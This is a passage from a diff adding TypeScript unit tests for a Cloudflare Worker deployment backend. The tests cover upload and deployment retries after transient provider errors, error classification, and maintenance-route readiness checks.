+    return APIError.generate(
+      status,
+      undefined,
+      'provider unavailable',
+      new Headers(),
+    );
+  }
+
+  function uploadFixture() {
+    const api = new PlainWorkerProvisioningApiFake();
+    installOnUpload(api);
+    const upload = vi.spyOn(api, 'uploadCandidate');
+    const fence = api.fence();
+    const subject = backend(api, { wait });
+    return {
+      api,
+      upload,
+      fence,
+      invoke: () =>
+        subject.deployWorker(spec, database, secrets, undefined, fence),
+    };
+  }
+
+  it('retries the Worker upload after a transient provider failure when reconciliation finds no tagged version: two uploads return candidate', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    upload.mockResolvedValueOnce({
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+      cleanup: { status: 'succeeded' },
+    });
+    const result = invoke();
+    await vi.advanceTimersByTimeAsync(1_999);
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(api.versions.get(spec.scriptName)).toBeUndefined();
+    await vi.advanceTimersByTimeAsync(1);
+    await expect(result).resolves.toEqual({
+      artifactVersion: 'candidate',
+      created: true,
+    });
+    expect(upload).toHaveBeenCalledTimes(2);
+    expect(wait).toHaveBeenNthCalledWith(1, 2_000);
+    expect(
+      api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId),
+    ).toEqual(['candidate']);
+  });
+
+  it('accepts a tagged version created by an upload that answered a transient failure without a second upload: one upload returns candidate', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    api.uploadOutcome = {
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+    };
+    api.footprints.set(spec.scriptName, {
+      scriptPresent: true,
+      workersDevEnabled: true,
+      previewUrlsEnabled: false,
+      customDomains: [],
+      zoneRoutes: [],
+    });
+    await expect(invoke()).resolves.toEqual({
+      artifactVersion: 'candidate',
+      created: true,
+    });
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(
+      api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId),
+    ).toEqual(['candidate']);
+    expect(vi.getTimerCount()).toBe(0);
+    expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]);
+  });
+
+  it('fails the upload after three transient failures with the last provider error: three uploads leave no version', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    const errors = [520, 502, 503].map((status) =>
+      sanitizeProviderError(providerFailure(status), []),
+    );
+    for (const error of errors) {
+      upload.mockResolvedValueOnce({
+        status: 'failed',
+        error,
+        cleanup: { status: 'succeeded' },
+      });
+    }
+    const result = rejectedValue(invoke());
+    await vi.advanceTimersByTimeAsync(2_000);
+    expect(upload).toHaveBeenCalledTimes(2);
+    expect(wait).toHaveBeenNthCalledWith(1, 2_000);
+    await vi.advanceTimersByTimeAsync(3_999);
+    expect(upload).toHaveBeenCalledTimes(2);
+    expect(wait).toHaveBeenNthCalledWith(1, 2_000);
+    await vi.advanceTimersByTimeAsync(1);
+    expect(await result).toMatchObject({
+      cause: errors[2],
+      resourceState: 'absent',
+    });
+    expect(((await result) as Error).cause).toBe(errors[2]);
+    expect(upload).toHaveBeenCalledTimes(3);
+    expect(api.versions.get(spec.scriptName)).toBeUndefined();
+    expect(vi.getTimerCount()).toBe(0);
+    expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000, 4_000]);
+  });
+
+  it('does not retry a non-transient upload refusal: one upload leaves no version', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    const error = sanitizeProviderError(providerFailure(403), []);
+    upload.mockResolvedValueOnce({
+      status: 'failed',
+      error,
+      cleanup: { status: 'succeeded' },
+    });
+    expect(await rejectedValue(invoke())).toMatchObject({ cause: error });
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(api.versions.get(spec.scriptName)).toBeUndefined();
+    expect(vi.getTimerCount()).toBe(0);
+    expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]);
+  });
+
+  it('retries within the mutation fence duration: two uploads return candidate after a duration check before each upload', async () => {
+    const { api, upload, fence, invoke } = uploadFixture();
+    const events: string[] = [];
+    Object.defineProperty(fence, 'mutationLeaseTtlMs', {
+      get() {
+        events.push('duration');
+        return 15 * 60_000;
+      },
+    });
+    const original =
+      PlainWorkerProvisioningApiFake.prototype.uploadCandidate.bind(api);
+    upload.mockImplementation(async (...args) => {
+      expect(events.at(-1)).toBe('duration');
+      events.push('upload');
+      return upload.mock.calls.length === 1
+        ? {
+            status: 'failed',
+            error: sanitizeProviderError(providerFailure(), []),
+            cleanup: { status: 'succeeded' },
+          }
+        : original(...args);
+    });
+    const result = invoke();
+    await vi.advanceTimersByTimeAsync(2_000);
+    await expect(result).resolves.toEqual({
+      artifactVersion: 'candidate',
+      created: true,
+    });
+    expect(upload).toHaveBeenCalledTimes(2);
+    expect(wait).toHaveBeenNthCalledWith(1, 2_000);
+    expect(events.filter((event) => event === 'upload')).toHaveLength(2);
+  });
+
+  it('stops before a second upload when the mutation duration exceeds the fence: one upload leaves no version', async () => {
+    const { api, upload, fence, invoke } = uploadFixture();
+    let ttl = 15 * 60_000;
+    Object.defineProperty(fence, 'mutationLeaseTtlMs', { get: () => ttl });
+    upload.mockResolvedValueOnce({
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+      cleanup: { status: 'succeeded' },
+    });
+    const result = rejectedValue(invoke());
+    await vi.advanceTimersByTimeAsync(0);
+    ttl = api.maxMutationDurationMs;
+    await vi.advanceTimersByTimeAsync(2_000);
+    expect(String(await result)).toContain(
+      'provider mutation maximum duration must be below',
+    );
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(api.versions.get(spec.scriptName)).toBeUndefined();
+  });
+
+  it('does not retry an ambiguous upload: one upload rejects multiple tagged versions', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    api.onUploadCandidate = () => {
+      api.versions.set(spec.scriptName, [
+        ownedVersion('first'),
+        ownedVersion('second'),
+      ]);
+    };
+    api.uploadOutcome = {
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+    };
+    await rejectedValue(invoke());
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(vi.getTimerCount()).toBe(0);
+    expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]);
+  });
+
+  it('does not retry when upload reconciliation fails: one upload leaves the version unknown', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    upload.mockResolvedValueOnce({
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+      cleanup: { status: 'succeeded' },
+    });
+    vi.spyOn(api, 'listVersions')
+      .mockResolvedValueOnce(undefined)
+      .mockRejectedValue(new Error('inventory unavailable'));
+    await rejectedValue(invoke());
+    expect(upload).toHaveBeenCalledTimes(1);
+    expect(vi.getTimerCount()).toBe(0);
+    expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]);
+  });
+
+  it('preserves scratch cleanup failure across retries: two uploads install candidate but report the cleanup failure', async () => {
+    const { api, upload, invoke } = uploadFixture();
+    const cleanupError = new Error('scratch cleanup failed');
+    upload.mockResolvedValueOnce({
+      status: 'failed',
+      error: sanitizeProviderError(providerFailure(), []),
+      cleanup: { status: 'failed', error: cleanupError },
+    });
+    const result = rejectedValue(invoke());
+    await vi.advanceTimersByTimeAsync(2_000);
+    expect(await result).toMatchObject({
+      cause: cleanupError,
+      resourceState: 'present',
+    });
+    expect(upload).toHaveBeenCalledTimes(2);
+    expect(wait).toHaveBeenNthCalledWith(1, 2_000);
+    expect(
+      api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId),
+    ).toEqual(['candidate']);
+  });
+
+  for (const operation of [
+    'D1 creation',
+    'R2 creation',
+    'candidate-at-zero deployment',
+    'promotion deployment',
+  ] as const) {
+    function fixture() {
+      const api = new PlainWorkerProvisioningApiFake();
+      const fence = api.fence();
+      const subject = backend(api, { wait });
+      if (operation === 'D1 creation') {
+        const mutation = vi.spyOn(api, 'createDatabase');
+        return {
+          api,
+          mutation,
+          fail(error: unknown) {
+            mutation.mockResolvedValueOnce({ status: 'failed', error });
+          },
+          invoke: () => subject.ensureDatabase(spec, fence),
+          verify() {
+            expect([...api.databases.values()]).toEqual([
+              {
+                id: 'db-acme-production',
+                name: spec.databaseName,
+                created: false,
+              },
+            ]);
+          },
+        };
+      }
+      if (operation === 'R2 creation') {
+        const mutation = vi.spyOn(api, 'createR2Bucket');
+        return {
+          api,
+          mutation,
+          fail(error: unknown) {
+            mutation.mockRejectedValueOnce(error);
+          },
+          invoke: () => subject.ensureApplicationR2Bucket(r2Resource, fence),
+          verify() {
+            expect([...api.buckets.values()]).toEqual([
+              expect.objectContaining(r2Resource),
+            ]);
+          },
+        };
+      }
+      api.versions.set(spec.scriptName, [
+        ownedVersion('current'),
+        ownedVersion('candidate'),
+      ]);
+      api.deployments.set(spec.scriptName, {
+        versions:
+          operation === 'promotion deployment'
+            ? [
+                { versionId: 'current', percentage: 100 },
+                { versionId: 'candidate', percentage: 0 },
+              ]
+            : [{ versionId: 'current', percentage: 100 }],
+      });
+      const mutation = vi.spyOn(api, 'createDeployment');
+      return {
+        api,
+        mutation,
+        fail(error: unknown) {
+          mutation.mockResolvedValueOnce({ status: 'failed', error });
+        },
+        invoke: () =>
+          operation === 'promotion deployment'
+            ? subject.promoteWorker(
+                spec,
+                {
+                  allowedCurrentScriptNames: [spec.scriptName],
+                  allowUnrouted: true,
+                },
+                undefined,
+                fence,
+                'candidate',
+              )
+            : subject.deployWorker(
+                spec,
+                database,
+                secrets,
+                undefined,
+                fence,
+                'candidate',
+              ),
+        verify() {
+          expect(api.deployments.get(spec.scriptName)?.versions).toEqual(
+            operation === 'promotion deployment'
+              ? [{ versionId: 'candidate', percentage: 100 }]
+              : [
+                  { versionId: 'current', percentage: 100 },
+                  { versionId: 'candidate', percentage: 0 },
+                ],
+          );
+        },
+      };
+    }
+
+    it(`retries ${operation} after a transient provider failure when reconciliation finds no effect: two calls create the intended resource or candidate deployment`, async () => {
+      const { mutation, fail, invoke, verify } = fixture();
+      fail(providerFailure());
+      const result = invoke();
+      await vi.advanceTimersByTimeAsync(1_999);
+      expect(mutation).toHaveBeenCalledTimes(1);
+      await vi.advanceTimersByTimeAsync(1);
+      await result;
+      expect(mutation).toHaveBeenCalledTimes(2);
+      expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000]);
+      verify();
+    });
+
+    it(`fails ${operation} after three transient failures with the last provider error`, async () => {
+      const { mutation, fail, invoke } = fixture();
+      const errors = [520, 502, 503].map(providerFailure);
+      for (const error of errors) fail(error);
+      const result = rejectedValue(invoke());
+      await vi.advanceTimersByTimeAsync(6_000);
+      const error = await result;
+      expect(error instanceof WorkerDeploymentError ? error.cause : error).toBe(
+        errors[2],
+      );
+      expect(mutation).toHaveBeenCalledTimes(3);
+      expect(vi.getTimerCount()).toBe(0);
+      expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000, 4_000]);
+    });
+
+    it(`does not retry a non-transient ${operation} refusal: one call`, async () => {
+      const { mutation, fail, invoke } = fixture();
+      const providerError = providerFailure(403);
+      fail(providerError);
+      const error = await rejectedValue(invoke());
+      expect(error instanceof WorkerDeploymentError ? error.cause : error).toBe(
+        providerError,
+      );
+      expect(mutation).toHaveBeenCalledTimes(1);
+      expect(vi.getTimerCount()).toBe(0);
+      expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]);
+    });
+  }
+
+  it.each([
+    ['520', () => providerFailure(520), true],
+    ['500', () => providerFailure(500), true],
+    ['408', () => providerFailure(408), true],
+    ['429', () => providerFailure(429), true],
+    ['403', () => providerFailure(403), false],
+    ['409', () => providerFailure(409), false],
+    [
+      'connection',
+      () => new APIConnectionError({ cause: new Error('connection reset') }),
+      true,
+    ],
+    ['timeout', () => new APIConnectionTimeoutError(), true],
+    ['abort', () => new APIUserAbortError(), false],
+  ])('classifies raw and sanitized %s failures as transient=%s', (_label, create, transient) => {
+    const error = create();
+    expect(isTransientProviderError(error)).toBe(transient);
+    expect(isTransientProviderError(sanitizeProviderError(error, []))).toBe(
+      transient,
+    );
+  });
+
+  it.each([
+    ['429', () => providerFailure(429)],
+    ['timeout', () => new APIConnectionTimeoutError()],
+  ])('classifies raw and sanitized %s failures as absence=false', (_label, create) => {
+    const error = create();
+    expect(isNotFound(error)).toBe(false);
+    expect(isNotFound(sanitizeProviderError(error, []))).toBe(false);
+  });
+
+  it('does not classify arbitrary failures without status as transient', () => {
+    for (const error of [
+      undefined,
+      null,
+      false,
+      new Error('validation'),
+      { status: 520 },
+      { name: 'CloudflareProviderError' },
+    ]) {
+      expect(isTransientProviderError(error)).toBe(false);
+    }
+  });
+});
+
+describe('maintenance route readiness', () => {
+  function platform404(): Response {
+    return new Response('error code: 1042', {
+      status: 404,
+      headers: {
+        'content-type': 'text/plain; charset=UTF-8',
+        server: 'cloudflare',
+        'cache-control':
+          'private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
+      },
+    });
+  }
+
+  for (const operation of [
+    'inspect',
+    'ensureMaintenance',
+    'inspect without override',
+  ] as const) {
+    describe(operation, () => {
+      const override = operation !== 'inspect without override';
+      const expectedDigest = deploymentSpecDigest(spec);
+      const staleDigest = 'f'.repeat(64);
+      const mismatch = override
+        ? `maintenance response did not attest fleet specification digest '${expectedDigest}'`
+        : "maintenance response does not match inspected Worker version 'candidate'";
+
+      function setup(request: typeof fetch) {
+        const api = new PlainWorkerProvisioningApiFake();
+        deployedCandidate(api);
+        if (!override) {
+          api.versions.set(spec.scriptName, [
+            { ...ownedVersion('candidate'), tag: 'unmatched-tag' },
+          ]);
+        }
+        const fence = api.fence();
+        const subject = backend(api, {
+          fetch: request,
+          maintenanceRouteReadyTimeoutMs: 5,
+          maintenanceRouteReadyIntervalMs: 2,
+        });
+        return {
+          api,
+          fence,
+          invoke: () =>
+            operation === 'ensureMaintenance'
+              ? subject.ensureMaintenance(
+                  spec,
+                  secrets.maintenanceAdmin,
+                  fence,
+                  'candidate',
+                )
+              : subject.inspect(
+                  spec,
+                  secrets.maintenanceAdmin,
+                  override ? 'candidate' : undefined,
+                ),
+        };
+      }
+
+      it(
+        override
+          ? `retries ${operation} while the version override answer attests the previous version, until the candidate serves`
+          : 'retries inspect without override while the answer attests the previous version, until the inspected version serves',
+        async () => {
+          vi.useFakeTimers();
+          try {
+            const requests: Request[] = [];
+            const events: string[] = [];
+            const digests = [staleDigest, staleDigest, expectedDigest];
+            const request = vi.fn(
+              async (
+                input: Parameters<typeof fetch>[0],
+                init?: RequestInit,
+              ) => {
+                requests.push(new Request(input, init));
+                events.push('fetch');
+                return maintenanceResponse(digests[requests.length - 1]);
+              },
+            );
+            const { invoke, fence } = setup(request);
+            vi.spyOn(fence, 'assertOwned').mockImplementation(async () => {
+              events.push('fence');
+            });
+            const pending = invoke();
+            await vi.advanceTimersByTimeAsync(0);
+            expect(request).toHaveBeenCalledTimes(1);
+            await vi.advanceTimersByTimeAsync(1);
+            expect(request).toHaveBeenCalledTimes(1);
+            await vi.advanceTimersByTimeAsync(1);
+            expect(request).toHaveBeenCalledTimes(2);
+            await vi.advanceTimersByTimeAsync(1);
+            expect(request).toHaveBeenCalledTimes(2);
+            await vi.advanceTimersByTimeAsync(1);
+            expect(await pending).toMatchObject(
+              operation === 'ensureMaintenance'
+                ? { deploymentSpecDigest: expectedDigest }
+                : { maintenance: { deploymentSpecDigest: expectedDigest } },
+            );
+            expect(request).toHaveBeenCalledTimes(3);
+            for (const sent of requests) {
+              expect(sent.url).toBe(
+                new URL(
+                  operation === 'ensureMaintenance'
+                    ? '/admin/ensure-maintenance'
+                    : '/admin/maintenance-status',
+                  spec.maintenanceBaseUrl,
+                ).href,
+              );
+              expect(sent.method).toBe(
+                operation === 'ensureMaintenance' ? 'POST' : 'GET',
+              );
+              expect([...sent.headers]).toEqual([
+                ['authorization', `Bearer ${secrets.maintenanceAdmin}`],
+                ...(override
+                  ? [
+                      [
+                        'cloudflare-workers-version-overrides',
+                        `${spec.scriptName}="candidate"`,
+                      ],
+                    ]
+                  : []),
+              ]);
+            }
+            expect(events).toEqual(
+              operation === 'ensureMaintenance'
+                ? ['fence', 'fetch', 'fence', 'fetch', 'fence', 'fetch']
+                : ['fetch', 'fetch', 'fetch'],
+            );
+          } finally {
+            vi.useRealTimers();
+          }
+        },
+      );
+
+      it(
+        override
+          ? 'names the deployment wait when the override answer never attests the candidate'
+          : 'names the deployment wait when the answer never attests the inspected version without override',
+        async () => {
+          vi.useFakeTimers();
+          try {
+            const request = vi.fn(async () => maintenanceResponse(staleDigest));
+            const { invoke } = setup(request);
+            const pending = expect(invoke()).rejects.toEqual(
+              new Error(`${mismatch} within 5 ms after the deployment change`),
+            );
+            await vi.advanceTimersByTimeAsync(5);
+            await pending;
+            expect(request).toHaveBeenCalledTimes(3);
+          } finally {
+            vi.useRealTimers();
+          }
+        },
+      );
+
+      it(
+        override
+          ? 'passes an override answer that attests the candidate through without retrying'
+          : 'passes an answer that attests the inspected version through without override or retrying',
+        async () => {
+          const request = vi.fn(async () => maintenanceResponse());
+          const { invoke } = setup(request);
+          await expect(invoke()).resolves.toBeDefined();
+          expect(request).toHaveBeenCalledTimes(1);
+        },
+      );
+
+      it('shares one deadline between platform 404s and stale deployment healths', async () => {
+        vi.useFakeTimers();
+        try {
+          const request = vi.fn(async () =>
+            request.mock.calls.length === 1
+              ? platform404()
+              : maintenanceResponse(staleDigest),
+          );
+          const { invoke } = setup(request);
+          const pending = expect(invoke()).rejects.toEqual(
+            new Error(`${mismatch} within 5 ms after the deployment change`),
+          );
+          await vi.advanceTimersByTimeAsync(5);
+          await pending;
+          expect(request).toHaveBeenCalledTimes(3);
+        } finally {
+          vi.useRealTimers();
+        }
+      });
+
+      it('preserves the deployment wait error when the next fetch times out at the deadline', async () => {
+        vi.useFakeTimers();
+        try {
+          const request = vi.fn(async (): Promise<Response> => {
+            if (request.mock.calls.length === 1) {
+              return maintenanceResponse(staleDigest);
+            }
+            return new Promise((_resolve, reject) => {
+              setTimeout(() => reject(new Error('request timed out')), 3);
+            });
+          });
+          const { invoke } = setup(request);
+          const pending = expect(invoke()).rejects.toEqual(
+            new Error(`${mismatch} within 5 ms after the deployment change`),
+          );
+          await vi.advanceTimersByTimeAsync(5);
+          await pending;
+          expect(request).toHaveBeenCalledTimes(2);
+        } finally {
+          vi.useRealTimers();
+        }
+      });
+
+      it.each([
+        [
+          'invalid digest',
+          { deploymentSpecDigest: 'invalid' },
+          "maintenance response field 'deploymentSpecDigest' is invalid",
+        ],
+        [
+          'invalid health',
+          { deploymentSpecDigest: staleDigest, alarmAt: -1 },
+          "maintenance response field 'alarmAt' is invalid",
+        ],
+      ])('rejects %s without retrying', async (_label, health, message) => {
+        const request = vi.fn(async () => Response.json(health));
+        const { invoke } = setup(request);
+        await expect(invoke()).rejects.toThrow(message as string);
+        expect(request).toHaveBeenCalledTimes(1);
+      });
+
+      it('preserves the missing-digest policy without retrying', async () => {
+        const request = vi.fn(async () => Response.json({ alarmAt: 2_000 }));
+        const { invoke } = setup(request);
+        if (override) {
+          await expect(invoke()).rejects.toEqual(new Error(mismatch));
+        } else {
+          await expect(invoke()).resolves.toMatchObject({
+            maintenance: { armed: true },
+          });
+        }
+        expect(request).toHaveBeenCalledTimes(1);
+      });
+    });
+  }
+
+  for (const operation of ['inspect', 'ensureMaintenance'] as const) {
+    function invoke(
+      subject: PlainWorkerBackend,
+      api: PlainWorkerProvisioningApiFake,
+    ) {
+      return operation === 'inspect'
+        ? subject.inspect(spec, secrets.maintenanceAdmin, 'candidate')
+        : subject.ensureMaintenance(
+            spec,
+            secrets.maintenanceAdmin,
+            api.fence(),
+            'candidate',
+          );
+    }
+
+    it.each([
+      404, 500,
+    ])(`retries platform %i pages with the same ${operation} request until health is served`, async (status) => {
+      const api = new PlainWorkerProvisioningApiFake();
+      deployedCandidate(api);
+      const requests: Request[] = [];
+      const request = vi.fn(
+        async (input: Parameters<typeof fetch>[0], init?: RequestInit) => {
+          requests.push(new Request(input, init));
+          if (requests.length === 1)
+            return new Response('platform unavailable', {
+              status,
+              headers: { 'content-type': 'text/plain; charset=UTF-8' },
+            });
+          if (requests.length === 2) {
+            return new Response('<html>route unavailable</html>', {
+              status,
+              headers: { 'content-type': 'text/html; charset=UTF-8' },
+            });
+          }
+          return maintenanceResponse();
+        },
+      );
+      const result = await invoke(
+        backend(api, {
+          fetch: request,
+          maintenanceRouteReadyTimeoutMs: 1_000,
+          maintenanceRouteReadyIntervalMs: 1,
+        }),
+        api,
+      );
+      expect(result).toMatchObject(
+        operation === 'inspect'
+          ? { maintenance: { armed: true } }
+          : { armed: true },
+      );
+      expect(request).toHaveBeenCalledTimes(3);
+      for (const sent of requests) {
+        expect(sent.url).toBe(
+          new URL(
+            operation === 'inspect'
+              ? '/admin/maintenance-status'
+              : '/admin/ensure-maintenance',
+            spec.maintenanceBaseUrl,
+          ).href,
+        );
+        expect(sent.method).toBe(operation === 'inspect' ? 'GET' : 'POST');
+        expect([...sent.headers]).toEqual([
+          ['authorization', `Bearer ${secrets.maintenanceAdmin}`],
+          [
+            'cloudflare-workers-version-overrides',
+            `${spec.scriptName}="candidate"`,
+          ],
+        ]);
+      }
+      expect(new Set(requests.map(({ signal }) => signal)).size).toBe(3);
+      expect(
+        api.events.filter((event) => event === 'assertOwned'),
+      ).toHaveLength(operation === 'inspect' ? 0 : 3);
+    });
+
+    it.each([
+      [
+        'JSON Worker 404',
+        () => Response.json({ error: 'not_found' }, { status: 404 }),
+      ],
+      ...[404, 500].flatMap((status) =>
+        ['text/plain', 'text/html'].flatMap((mediaType) =>
+          ['cache-control', 'www-authenticate'].map(
+            (marker) =>
+              [
+                `${status} ${mediaType} with ${marker}`,
+                () =>
+                  new Response('unavailable', {
+                    status,
+                    headers: {
+                      'content-type': mediaType,
+                      [marker]:
+                        marker === 'cache-control' ? 'no-store' : 'Bearer',
+                    },
+                  }),
+              ] as const,
+          ),
+        ),
+      ),
+      ['empty ingress 404', () => new Response(null, { status: 404 })],
+      [
+        'JSON Worker 500',
+        () => Response.json({ error: 'operation-refused' }, { status: 500 }),
+      ],
+      [
+        'Worker 401',
+        () =>
+          Response.json(
+            { error: 'unauthorized' },
+            { status: 401, headers: { 'www-authenticate': 'Bearer' } },
+          ),
+      ],
+      [
+        'authenticated plain-text 404',
+        () => {
+          const response = platform404();
+          response.headers.set('www-authenticate', 'Bearer');
+          return response;
+        },
+      ],
+      [
+        'authenticated HTML 404',
+        () =>
+          new Response('', {
+            status: 404,
+            headers: {
+              'content-type': 'text/html',
+              'www-authenticate': 'Bearer',
+            },
+          }),
+      ],
+      [
+        'Worker 302',
+        () =>
+          new Response(null, {
+            status: 302,
+            headers: { location: 'https://redirected.invalid/elsewhere' },
+          }),
+      ],
+    ] as const)(`passes a %s through ${operation} without retrying`, async (_label, response) => {
+      const api = new PlainWorkerProvisioningApiFake();
+      deployedCandidate(api);
+      const request = vi.fn(async () => response());
+      await expect(
+        invoke(backend(api, { fetch: request }), api),
+      ).rejects.toThrow(
+        `maintenance request failed with HTTP ${response().status}`,
+      );
+      expect(request).toHaveBeenCalledTimes(1);
+    });
+
+    it(`cancels the body of a refused ${operation} maintenance response`, async () => {
+      const api = new PlainWorkerProvisioningApiFake();
+      deployedCandidate(api);
+      const cancelled = vi.fn();
+      const request = vi.fn(
+        async () =>
+          new Response(new ReadableStream({ cancel: cancelled }), {
+            status: 302,
+            headers: { location: 'https://redirected.invalid/elsewhere' },
+          }),
+      );
+
+      await expect(
+        invoke(backend(api, { fetch: request }), api),
+      ).rejects.toThrow('maintenance request failed with HTTP 302');
+
+      expect(request).toHaveBeenCalledTimes(1);
+      expect(cancelled).toHaveBeenCalledTimes(1);
+    });
+
+    it(`names the route wait when an ${operation} retry times out at the deadline`, async () => {
+      vi.useFakeTimers();
+      try {
+        const api = new PlainWorkerProvisioningApiFake();
+        deployedCandidate(api);
+        const request = vi.fn(async (): Promise<Response> => {
+          if (request.mock.calls.length === 1) return platform404();
+          return new Promise((_resolve, reject) => {
+            setTimeout(() => reject(new Error('request timed out')), 3);
+          });
+        });
+        const pending = expect(
+          invoke(
+            backend(api, {
+              fetch: request,
+              maintenanceRouteReadyTimeoutMs: 5,
+              maintenanceRouteReadyIntervalMs: 2,
+            }),
+            api,
+          ),
+        ).rejects.toThrow(
+          'maintenance request failed with HTTP 404. workers.dev route did not serve within 5 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag',
+        );
+        await vi.advanceTimersByTimeAsync(5);
+        await pending;
+        expect(request).toHaveBeenCalledTimes(2);
+      } finally {
+        vi.useRealTimers();
+      }
+    });
+
+    it(`bounds the workers.dev route wait for ${operation}`, async () => {
+      vi.useFakeTimers();
+      try {
+        const api = new PlainWorkerProvisioningApiFake();
+        deployedCandidate(api);
+        const request = vi.fn(async () => platform404());
+        const pending = expect(
+          invoke(
+            backend(api, {
+              fetch: request,
+              maintenanceRouteReadyTimeoutMs: 5,
+              maintenanceRouteReadyIntervalMs: 2,
+            }),
+            api,
+          ),
+        ).rejects.toThrow(
+          'maintenance request failed with HTTP 404. workers.dev route did not serve within 5 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag',
+        );
+        await vi.advanceTimersByTimeAsync(5);
+        await pending;
+        expect(request).toHaveBeenCalledTimes(3);
+      } finally {
+        vi.useRealTimers();
+      }
+    });
+  }
+
+  it('defaults to a 60-second route wait with 2-second retries', async () => {
+    vi.useFakeTimers();
+    try {
+      const api = new PlainWorkerProvisioningApiFake();
+      deployedCandidate(api);
+      const request = vi.fn(async () => platform404());
+      const pending = expect(
+        backend(api, { fetch: request }).ensureMaintenance(
+          spec,
+          secrets.maintenanceAdmin,
+          api.fence(),
+          'candidate',
+        ),
+      ).rejects.toThrow(
+        'maintenance request failed with HTTP 404. workers.dev route did not serve within 60000 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag',
+      );
+      await vi.advanceTimersByTimeAsync(59_999);
+      expect(request).toHaveBeenCalledTimes(30);
+      await vi.advanceTimersByTimeAsync(1);
+      await pending;
+      expect(request).toHaveBeenCalledTimes(30);
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it.each([
+    'platform 404',
+    'stale digest',
+  ])('refuses a maintenance retry after mutation ownership is lost (%s)', async (answer) => {
+    const api = new PlainWorkerProvisioningApiFake();
+    deployedCandidate(api);
+    const owned = api.fence();
+    vi.spyOn(owned, 'assertOwned')
+      .mockResolvedValueOnce()
+      .mockRejectedValue(new Error('lease lost'));
+    const request = vi.fn(async () =>
+      answer === 'platform 404'
+        ? platform404()
+        : maintenanceResponse('f'.repeat(64)),
+    );
+    await expect(
+      backend(api, {
+        fetch: request,
+        maintenanceRouteReadyIntervalMs: 1,
+      }).ensureMaintenance(spec, secrets.maintenanceAdmin, owned, 'candidate'),
+    ).rejects.toThrow('lease lost');
+    expect(request).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    'ensureMaintenance',
+    'inspect',
+  ] as const)('sends the %s maintenance request with manual redirect handling', async (operation) => {
+    const api = new PlainWorkerProvisioningApiFake();
+    deployedCandidate(api);
+    const request = vi.fn(
+      async (_input: Parameters<typeof fetch>[0], _init?: RequestInit) =>
+        maintenanceResponse(),
+    );
+    const subject = backend(api, { fetch: request });
+
+    await (operation === 'ensureMaintenance'
+      ? subject.ensureMaintenance(
+          spec,
+          secrets.maintenanceAdmin,
+          api.fence(),
+          'candidate',
+        )
+      : subject.inspect(spec, secrets.maintenanceAdmin, 'candidate'));
+
+    expect(request).toHaveBeenCalledTimes(1);
+    expect(request.mock.calls[0]?.[1]?.redirect).toBe('manual');
+  });
+});
+
+describe('inspection across release bindings', () => {
+  const target: DeploymentSpec = {
+    ...spec,
+    egressProxyService: 'next-egress',
+    queueProducer: { binding: 'EVENTS', queueName: 'next-events' },
+    application: {
+      vars: [{ name: 'RELEASE', value: 'next' }],
+      secrets: [],
+      r2Buckets: [],
+    },
+  };
+  const releaseBindings: PlainWorkerVersionDetail['bindings'] = [
+    { type: 'service', name: 'EGRESS_PROXY', service: 'next-egress' },
+    { type: 'queue-producer', name: 'EVENTS', queueName: 'next-events' },
+    { type: 'plain-text', name: 'RELEASE', value: 'next' },
+  ];
+
+  it.each([
+    'EGRESS_PROXY',
+    'EVENTS',
+    'RELEASE',
+  ])('rejects target-digest %s drift through candidate and active discovery', async (missing) => {
+    for (const selection of ['tag', 'explicit', 'fallback'] as const) {
+      const api = new PlainWorkerProvisioningApiFake();
+      const version = ownedVersion('target', target);
+      api.versions.set(target.scriptName, [
+        {
+          ...version,
+          tag: selection === 'fallback' ? 'unmatched-tag' : version.tag,
+          bindings: [
+            ...version.bindings,
+            ...releaseBindings.filter(({ name }) => name !== missing),
+          ],
+        },
+      ]);
+      api.deployments.set(target.scriptName, {
+        versions: [{ versionId: 'target', percentage: 100 }],
+      });
+      const request = vi.fn(async () =>
+        maintenanceResponse(deploymentSpecDigest(target)),
+      );
+      await expect(
+        backend(api, { fetch: request }).inspect(
+          target,
+          secrets.maintenanceAdmin,
+          selection === 'explicit' ? 'target' : undefined,
+        ),
+      ).rejects.toThrow('different resource mapping');
+      expect(request).not.toHaveBeenCalled();
+    }
+  });
+});
+
+function fleetRecord(): FleetRecord {
+  return {
+    tenantTag: spec.tenantTag,
+    backend: 'plain-worker',
+    environment: spec.environment,
+    scriptName: spec.scriptName,
+    databaseId: database.id,
+    databaseName: database.name,
+    schemaVersion: spec.schemaVersion,
+    artifactVersion: 'candidate',
+    desiredSpecDigest: deploymentSpecDigest(spec),
+    durableObjectBindings: [],
+    routeHostname: spec.routeHostname,
+    phase: 'decommissioning',
+    updatedAt: '2026-08-26T00:00:00.000Z',
+  };
+}
+
+const activeRelease = {
+  physicalScriptName: spec.scriptName,
